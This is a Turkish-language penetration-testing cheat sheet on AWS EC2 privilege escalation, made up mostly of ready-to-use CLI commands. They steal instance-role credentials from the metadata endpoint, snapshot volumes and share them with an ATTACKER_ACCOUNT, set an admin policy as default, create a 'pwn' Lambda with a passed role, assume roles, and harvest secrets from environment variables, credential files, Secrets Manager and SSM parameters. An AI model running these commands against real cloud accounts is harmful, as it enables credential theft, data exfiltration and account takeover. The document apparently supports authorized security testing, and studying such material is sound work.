AWS - EC2 Privesc
AWS privesc
AWS - EC2 Privesc — AWS ortamında yetki yükseltme ve rol/identity zinciri notudur. Amaç: çağıran kimliği netleştirmek, servise özel saldırı yüzeyini komutlarla doğrulamak ve kanıtlanabilir etki üretmek. Her fence tek komut/payload taşır; çıktıyı hedefe göre uyarla.
Saldırı akışı
Section titled “Saldırı akışı”-
Mevcut principal izinlerini (inline/attached/bound) çıkar.
-
PassRole / setIamPolicy / impersonate / admin primitiflerini doğrula.
-
Yüksek yetkili role/identity’e geçiş PoC’si çalıştır.
-
Yeni kimlikle hesap/proje etkisini kanıtla.
Kimlik / oturum
Section titled “Kimlik / oturum”Önce kim olduğunu ve hangi hesaba/projeye/kontekste oturduğunu kilitle.
aws sts get-caller-identityaws configure listecho $AWS_ACCESS_KEY_ID $AWS_SESSION_TOKEN | sed 's/./*/g'Hedef komutlar
Section titled “Hedef komutlar”AWS - EC2 Privesc için doğrudan uygulanabilir komutlar. Placeholder’ları (BUCKET, ROLE, FN, …) hedef değerlerle değiştir.
aws ec2 describe-instance-attribute --instance-id i-ID --attribute userDatacurl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/TOKEN=$(curl -sX PUT http://169.254.169.254/latest/api/token -H 'X-aws-ec2-metadata-token-ttl-seconds:21600')curl -sH "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/aws ec2 describe-instances --query 'Reservations[].Instances[].[InstanceId,PrivateIpAddress,IamInstanceProfile.Arn]' --output tableaws ec2 describe-security-groups --query 'SecurityGroups[].[GroupId,GroupName]' --output tableaws ec2 describe-snapshots --owner-ids self --query 'Snapshots[].SnapshotId'aws ec2 create-snapshot --volume-id VOL --description lootaws ec2 modify-snapshot-attribute --snapshot-id SNAP --attribute createVolumePermission --operation-type add --user-ids ATTACKER_ACCOUNTaws ec2 create-volume --snapshot-id SNAP --availability-zone AZaws ec2 attach-volume --volume-id VOL --instance-id I --device /dev/sdfaws ssm start-session --target i-INSTANCEaws ec2-instance-connect send-ssh-public-key --instance-id i-ID --instance-os-user ubuntu --ssh-public-key file://id_rsa.pubYükseltme primitifleri
Section titled “Yükseltme primitifleri”Yazma / PassRole / IAM policy / impersonation başarılıysa yeni kimlikle tekrar enum et.
aws iam create-policy-version --policy-arn ARN --policy-document file://admin.json --set-as-defaultaws lambda create-function --function-name pwn --runtime python3.12 --role arn:aws:iam::ACCOUNT:role/ROLE --handler h.handler --zip-file fileb://p.zipaws sts assume-role --role-arn arn:aws:iam::ACCOUNT:role/TARGET --role-session-name escalatedSecret / credential avı
Section titled “Secret / credential avı”Env, metadata, secret store ve CI loglarından ikinci kimlik topla; yeni principal ile döngüyü tekrarla.
env | rg -i 'key|secret|token|password|aws_|azure|gcp|kube'printenv | sortfind / -name '*.pem' -o -name 'credentials' -o -name '*.json' 2>/dev/null | head -n 40aws secretsmanager list-secretsaws ssm get-parameters-by-path --path / --recursive --with-decryptionRapor için yeniden üretilebilir çıktı bırak: komut, zaman, hesap/arn, etki özeti.
request/response veya CLI çıktısıhesap / proje / clusteretki: okuma | yazma | RCE | lateralzaman damgası + dosya hashmkdir -p evidence/cloud && tee evidence/cloud/notes.txt